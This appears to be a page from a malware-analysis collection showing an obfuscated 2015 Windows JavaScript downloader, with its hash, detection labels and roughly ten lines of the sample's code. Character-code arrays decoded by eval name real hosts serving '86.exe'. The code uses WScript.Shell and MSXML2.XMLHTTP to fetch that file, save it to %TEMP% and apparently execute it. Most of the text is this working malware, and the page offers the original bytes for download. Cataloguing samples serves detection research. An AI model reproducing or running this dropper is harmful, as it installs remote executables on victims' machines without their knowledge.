Suspicious 80% javascript-malware-collection Download

20151209_cc462bfa7b87346141b2af40e93a6a18.js

Obfuscated eval downloads executable

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-25662fbbaa96cfdb635b4c7c89bb0cb2fc82a82b2a9bd4d835f5cb93299871bb443

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';bSOfe[126]='~';bSOfe[127]='';
3function eXfWG(KkcLSjIDJnh,fNSUnbVeSfvxb,ucGwGoVB){hgHC=parseInt(KkcLSjIDJnh,fNSUnbVeSfvxb);BSxgU=hgHC.toString(ucGwGoVB);return BSxgU;}function kQWPuDzgFqdiofd(DrkiqCLQRwwkHciQH){eval(DrkiqCLQRwwkHciQH)}
4function OpKkmqtBpPsTHfUCAABLFRVrBStsRnIwSLSeaeWQxWJcrMlaVXmNFb(AhORZHuxSaxxF,vtNWESomJPNlgk){ return bSOfe[eXfWG(AhORZHuxSaxxF[vtNWESomJPNlgk],(3441+589)/403,(864+306)/117)];}
5function vHpyeIT(PahgHYqdSywilJXwjpiWlHDZmdFGsDsOgasg) {return !isNaN(parseFloat(PahgHYqdSywilJXwjpiWlHDZmdFGsDsOgasg)) && isFinite(PahgHYqdSywilJXwjpiWlHDZmdFGsDsOgasg);}
6function mDMQwkttSlN(WhYHGdcM,XojTWW){return WhYHGdcM.split(XojTWW)}
7var L=["13","10","13","10","118","97","114","32","114","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","54","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","55","47","56","54","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","97","65","81","32","61","40","40","49","47","42","77","73","88","90","49","49","55","54","52","50","53","57","54","110","57","54","48","48","56","52","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","78","77","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","97","65","81","41","59","13","10","118","97","114","32","69","83","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","75","67","116","32","61","32","78","77","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","69","83","41","59","13","10","118","97","114","32","80","111","68","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","99","72","82","32","61","32","80","111","68","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","121","111","32","61","32","116","114","117","101","32","32","44","32","112","69","102","118","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","113","103","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","34","43","40 …
8var W=["53","52","52","59","13","10","102","111","114","32","40","118","97","114","32","99","61","72","120","74","59","32","99","60","114","46","108","101","110","103","116","104","59","32","99","43","43","41","32","32","123","13","10","32","32","118","97","114","32","97","65","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","113","103","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","114","91","99","93","43","107","44","32","102","97","108","115","101","41","59","32","113","103","46","115","101","110","100","40","41","59","32","105","102","32","40","113","103","46","115","116","97","116","117","115","32","61","61","32","49","48","51","48","45","56","51","48","41","32","32","123","13","10","32","32","32","32","32","32","65","71","104","46","111","112","101","110","40","41","59","32","65","71","104","46","116","121","112","101","32","61","32","49","59","32","65","71","104","46","119","114","105","116","101","40","113","103","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","65","71","104","46","115","105","122","101","32","62","32","49","53","56","54","53","45","55","50","51","41","32","32","123","13","10","32","32","32","32","32","32","32","32","97","65","32","61","32","49","59","32","65","71","104","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","65","71","104","46","115","97","118","101","84","111","70","105","108","101","47","42","67","108","111","87","57","54","75","56","83","103","42","47","40","75","67","116","47","42","87","74","111","50","53","51","120","86","48","90","42","47","43","112","86","113","85","67","82","119","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32","32","3 …
9var NTelG=[L,W];
10var VARnTaDrD=[];
11function UtHRJSVoCFnkmMNsN(NTelG){bhIaBopNibT= '';for(fOnKKrgYTGi=(-970+970)/809; fOnKKrgYTGi < (1258+250)/754; fOnKKrgYTGi++) {VARnTaDrD[fOnKKrgYTGi]=(-754+754)/887; while(true) { if(VARnTaDrD[fOnKKrgYTGi] > NTelG[fOnKKrgYTGi].length-(-328+473)/145) { break; } if (vHpyeIT(eXfWG(NTelG[fOnKKrgYTGi][VARnTaDrD[fOnKKrgYTGi]],(4152+38)/419,(632+308)/94))) {bhIaBopNibT += OpKkmqtBpPsTHfUCAABLFRVrBStsRnIwSLSeaeWQxWJcrMlaVXmNFb([NTelG[fOnKKrgYTGi][VARnTaDrD[fOnKKrgYTGi]]], (-111+111)/36);} VARnTaDrD[fOnKKrgYTGi]++;}} return bhIaBopNibT}
12kQWPuDzgFqdiofd(UtHRJSVoCFnkmMNsN(NTelG));

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.